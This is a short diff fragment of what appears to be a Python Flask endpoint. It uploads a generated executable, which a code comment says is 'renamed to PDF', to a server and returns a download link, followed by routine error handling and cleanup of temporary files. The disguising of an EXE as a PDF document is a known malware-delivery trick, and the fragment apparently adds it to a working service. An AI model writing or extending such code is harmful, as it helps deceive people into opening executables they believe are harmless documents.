353
+ # Upload the resulting EXE file (renamed to PDF) to the server
354
+ download_url = upload_file_to_server(installer_output)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
355
 
356
+ # Return the download URL in the response
357
+ return jsonify({"download_url": download_url})
358
+
359
+ except Exception as e:
360
+ current_app.logger.error(f"An error occurred: {str(e)}")
361
+ return jsonify({"error": str(e)}), 500
362
+ finally:
363
+ # Clean up temporary directories and files
364
+ if temp_dir and os.path.exists(temp_dir):
365
+ shutil.rmtree(temp_dir, ignore_errors=True)